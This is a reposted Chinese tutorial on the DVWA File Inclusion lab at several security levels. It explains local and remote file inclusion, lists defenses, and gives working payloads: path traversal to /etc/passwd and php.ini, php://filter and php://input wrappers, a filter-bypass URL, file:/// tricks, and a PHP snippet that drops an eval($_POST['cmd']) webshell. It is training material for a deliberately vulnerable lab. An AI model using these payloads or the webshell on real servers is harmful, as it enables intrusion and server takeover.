IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 2021-08-06 -> 正文阅读

[PHP知识库]2021-08-06


DVWA-File Inclusion 文件包含)


前言


文件包含

开发人员将需要重复调用的函数写入到一个文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。这样可以降低代码冗余和维护难度。

文件包含漏洞:

开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

漏洞类型
依据文件所在的位置,分为本地包含和远程包含,
其中远程包含的实现前提需要php的配置为:
allow_url_fopen = On 允许打开远程文件 ;
allow_url_include = On 允许include/require远程文件 。

文件包含漏洞用到的函数
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

文件包含特征:

?page=a.php
?home=b.html
?file=content

检测方法:

?file=…/…/…/…/etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/…/…/…/…/dir/file.txt

目录遍历与文件包含的区别:

目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。

文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。
  
文件包含漏洞防御
(1)allow_url_include和allow_url_fopen关闭;

(2)对用户包含的文件进行限制,如白名单、open_basedir;

(3)检查用户输入;

(4)检查变量是否初始化;

(5)关键的过滤在服务器端进行;

一、File Inclusion–Low

首先,要将修改php.ini配置文件开启文件包含功能allow_url_include = on;

可以看到file1.php,file2.php,file3.php三个文件,任意点击其中一个文件,比如file1.php,地址栏的http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php就会相应变为http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file1.php,即利用GET的方法来获取服务器中的php文件。

分析源码:可以看到没有对page参数做任何过滤,直接GET;
在这里插入图片描述

如果服务器没有进行一定的防御,尝试在page中进行修改,去寻找服务器中的其他敏感文件。

文件包含时,不管包含的文件是什么类型,都会优先尝试当作php文件执行,如果文件内容有php代码,则会执行php代码并返回代码执行的结果,如果文件内容没有php代码,则把文件内容打印出来。

测试,随便写一个不存在的php文件,比如 :http://127.0.0.1/dvwa/vulnerabilities/fi/?page=text.php
在这里插入图片描述
爆出路径错误信息。D:\software\phpstudy\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\为固定字段;xxx.php为可控字段

绝对路径
在本地www目录下新建1.txt ————> 写入

<?php
$test="<?php eval(\$_POST['cmd']); ?>";
$mm=fopen('111.txt','w');
fwrite($mm,$test);
fclose($mm);
?>

网页在解析文件的时候,如果遇到<?php ... ?>,则会将其作为php代码执行;

假设我们远程访问这个文件,URL:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=1.txt,文件中包含以上代码,那<?php eval... ?>这部分就会作为php代码被执行,效果就是在该文件目录创建了一句话木马文件111.php。
在这里插入图片描述
访问这个,就可以拿到服务器的webshell。

相对路径
如果要访问相对路径的内容 可以依据地址栏前面的文件路径往前找,比如访问DVWA文件夹的php.ini,需要回退两次,可以输入…/…/php.ini
,URL:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=…/…/php.ini 。
成功显示
在这里插入图片描述
能够执行一些文件吗?
尝试构造访问参数,URL:
http://localhost/dvwa/vulnerabilities/fi/?page=…/…/phpinfo.php ;
在这里插入图片描述
执行对应的php文件,说明文件包含漏洞已经利用成功。

使用php封装协议读取和写入php文件

读取文件:

php://filter/read=convert.base64-encode/resource=…/./…/./…/./…/./1.txt 访问,可以看到显示base64编码的内容,使用burpsuit的decode模块解码。
URL:
http://localhost/dvwa/vulnerabilities/fi/?page=
php://filter/read=convert.base64-encode/resource=…/./…/./…/./…/./1.txt

写入:
http://localhost/dvwa/vulnerabilities/fi/?page=php://input
(写入内容)

二、File Inclusion–Low

分析源码:
在这里插入图片描述
多了一个校验;
一步步排除过滤,本地文件读取:

在这里插入图片描述
远程文件执行:
在这里插入图片描述
就是将输入的url参数中包含的“http://”、“https://”, “. . /” , ". . ""等字符串替换成空的字符串,
也就是说过滤了远程文件包含, 对于本地文件包含并没有任何过滤。

本地包含:http://localhost/dvwa/vulnerabilities/fi/?page=…\php.ini

远程包含:
http://localhost/dvwa/vulnerabilities/fi/?page=httphttp://😕/127.0.0.1/1.txt

三、File Inclusion–High

查看源码:
在这里插入图片描述
High级别的代码规定只能包含file开头的文件,看似安全,但依然可以利用file协议绕过防护策略。

本地文件读取:
在这里插入图片描述
假设访问:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file111111111111.txt
出现报错信息。
在这里插入图片描述

在这里插入图片描述
攻击者上传含有恶意代码的文件后,获取文件所在的物理地址,比如
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:\software\phpstudy\phpstudy_pro\WWW\webshell.txt;
访问。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-07 11:46:44  更:2021-08-07 11:47:07 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/28 20:21:45-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码